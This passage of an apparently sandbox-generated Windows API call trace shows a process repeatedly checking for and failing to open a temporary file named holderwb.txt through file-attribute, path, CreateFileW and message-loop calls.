	[0099.587] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.587] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.587] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.588] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.588] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.588] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.588] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.588] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.588] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.588] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.589] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.589] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.589] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.589] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.589] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.590] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.590] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.590] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.590] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.591] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.591] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.591] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.591] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.591] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.592] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.592] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.592] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.592] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.592] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.592] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.592] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.593] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.593] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.593] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.593] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.593] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.593] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.593] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.594] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.594] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.594] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.594] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.595] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.595] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.595] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.596] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.596] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.596] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.596] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.596] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.596] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.596] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.597] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.597] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.597] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.597] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.597] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.597] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.597] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.598] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.598] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.598] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.598] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.598] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.599] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.599] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.599] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.599] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.600] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.600] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.600] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.600] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.600] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.601] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.601] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.601] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.601] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
